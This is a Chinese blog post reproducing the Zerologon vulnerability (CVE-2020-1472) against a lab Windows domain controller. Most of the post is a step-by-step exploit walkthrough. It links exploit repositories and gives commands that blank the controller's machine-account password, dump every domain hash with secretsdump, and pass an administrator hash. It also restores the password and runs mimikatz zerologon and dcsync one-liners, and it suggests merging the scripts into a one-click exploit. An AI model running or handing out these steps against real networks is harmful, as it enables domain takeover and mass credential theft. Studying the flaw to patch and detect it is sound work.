win2008域控计算机用户批量删除域用户管理员权限_原创 | cve20201472域提权

  • Post author:
  • Post category:其他


2f9f2e6b016776a9bb57a0a6b9a4ef0d.gif
点击上方蓝字 关注我吧
影响
攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时,存在特权提升漏洞。

当成功利用此漏洞时,攻击者可无需通过身份验证,在网络中的设备上运行经特殊设计的应用程序,获取域控制器的管理员权限。

Windows Server, version 2004 (Server Core installation)Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)

复现

需要最新版的impacket

git clone https://github.com/SecureAuthCorp/impacket.gitcd impacket && pip3 install .

exp地址:

https://github.com/mstxq17/cve-2020-1472.git


检测


python3zerologon_tester.pyDC_NETBIOS_NAME DC_IP_ADDR

DC_NETBIOS_NAME是计算机名(下文中的win2008都是DC_NETBIOS_NAME,172.16.58.111都是DC_IP_ADDR  ),不知道的话直接用nbtscan扫一下就可:

2abe4825776637efd28c4f8ce446e5d9.png

python3 zerologon_tester.py WIN2008 172.16.58.111

66ebfddba98482297bd80eb91aa8fa80.png


利用

这个漏洞改动的是ntds.dit中的域控主机的对应的hash。exp.py+secretsdump.py的利用方法无论是否获取到域内服务器权限都可以进行。

exp打之前WIN2008$的hash:

VUL\WIN2008$:aad3b435b51404eeaad3b435b51404ee:4d9a97c1c0593d08c1f06d3b8dd7fcae:::

7672a07d401a8de3ae7b5b992160b0c0.png

exp打一下,利用漏洞把WIN2008$的密码置为空密码,然后可使用secretsdump出来所有hash:

python3 cve-2020-1472-exploit.py win2008 172.16.58.111

f4b863c67c95b02fb4f953f841120dbf.png

secretsdump.py vul/win2008\$@172.16.58.111 -no-pass

1f4bc72150820dd8421b6dd4f18739db.png

exp打之后WIN2008$的hash,替换成了空密码:31d6cfe0d16ae931b73c59d7e0c089c0

WIN2008$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


恢复


secretsdump.py vul/win2008\$@172.16.58.111 -no-pass

时候获取到administrator的hash后,利用administrator的hash获取域控服务器sam中的MACHINE.ACC中的WIN2008的hash,然后对dc中的WIN2008的hash进行恢复。
网上很多都是wmiexec过去,然后reg出来,再本地解sam,其实secretsdump可以直接远程获取MACHINE.ACC中的hash回来,省去了很多步骤。

PS:新版的impacket有获取plain_password_hex的功能,pip源中的旧版是没有的,可github下载最新。

获取WIN2008$的hexpass过来:

secretsdump.py vul/administrator@172.16.58.111 -hashes aad3b435b51404eeaad3b435b51404ee:bd67bdb5dd3e8bad82bb56be8374b68d

096a8f39a7df31821319f4d095676fc5.png

恢复WIN2008$的hash到dc中:

python3 restorepassword.py win2008@win2008 -target-ip 172.16.58.111 -hexpass 20e012d833ba7fccaae87b0db4bfa955ced0d3dcffc7156ddac8e2cc6f384e69

66cdd5cb4e12c3c96bbbda3fb56050b6.png

这样就把31d6cfe0d16ae931b73c59d7e0c089c0重新恢复成了4d9a97c1c0593d08c1f06d3b8dd7fcae

重新secretsdump空密码连接下,已经不能dumphash了:

secretsdump.py vul/win2008\$@172.16.58.111 -no-pass

27bec9caf414be31b950cde49ce239a2.png

PS:exp.py和secretsdump.py可以一起改造改造变成一个一键exp脚本。



mimkatz.exe attack

新版的mimkatz增加了该漏洞的poc检测和exp攻击。测试了下利用mimikatz进行检测和攻击都没有问题,但读取hash和恢复win2008$的passwd用不上。

先放下检测的方法:

.\mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$"

先放下攻击的方法:

.\mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$ /exploit" "lsadump::dcsync /domain:vul.com /authuser:win2008$ /authpassword:\"\" /all /csv" "lsadump::postzerologon /target:172.16.58.111 /account:win2008$" exit

发poc检测和发exp置空密码,在非域内机器和域内机器普通权限都是可以的,网能通基本没问题,这是我非域机器的poc和exp状态,是成功的:

8530f37b466c5520ed4c6e51dc25095d.png

问题出在了认证win2008账户读取

hash`”lsadump::dcsync/domain:vul.com /authuser:win2008 /authpassword:””/all/csv”

和恢复win2008$的passwd


“lsadump::postzerologon/taget:172.16.58.111/account:win2008$”`中了:

问题一:

"lsadump::dcsync/domain:vul.com/authuser:win2008$/authpassword:\"\"/all/csv"


dcsync操作肯定要在域内机器了,普通域用户权限下(PS:肯定普通用户权限了,有域管权限的话就不用这个洞了就直接干域控了)这里error掉了:

e037325675c2c185ce7f7661f2811d1d.png

当然在域控administrator上肯定是可以执行的:(PS:有域控权限的话就更不用这个漏洞了,,,)

3d5f47db2d1c5cb64b18854b7a2daeff.png

问题二:

"lsadump::postzerologon/target:172.16.58.111/account:win2008$"

恢复passwd操作中,是先读取再还原,本身这个地方win2008$认证后就无法读取到passwd,也就没法恢复了。

所以,使用mimikatz.exe来利用这个漏洞的话,只能进行漏洞检测:

privilege::debug""lsadump::zerologon/target:172.16.58.111/account:win2008$


和打漏洞exp:

lsadump::zerologon/target:172.16.58.111/account:win2008$/exploit

,其他的例如获取hash、恢复win2008的passwd的操作都无法进行,还需借用上面的py脚本。(或者我这mimikatz利用方式有问题?如有问题的话请指导一下,tks)
其他
1.传说exp打过后dc里面的域机器和dns解析会有问题,打exp后一定要恢复下。
2.这个漏洞exp改动的是ntds.dit中的win2008对应的hash,在恢复时候而是用sam中的hash恢复到了ntds.dit中。

在sam中MACHINE.ACC中的WIN2008的hexpass和hash都不是dc中实时的,如果管理员安装域后改动过ntds中的win2008$的hash的话,那hash从sam恢复到ntds中也无用了,对域的影响按理说是依旧存在,依旧有点崩溃风险,祝好运886。
3.myblog: https://lovechoudoufu.github.io/ see you~
9f64f13f79bf3f7f3349975a597e17a2.png
扫码关注我们www.sec-in.com在这里,探索技术与热爱
7b8f7f53d7fe20d22cfc59f0e7709420.gif
点分享
fca5cacfe66afbfb9651fb4bf9c8de63.gif
点点赞
7de151b6e9d26e123786bd25a29ca621.gif
点在看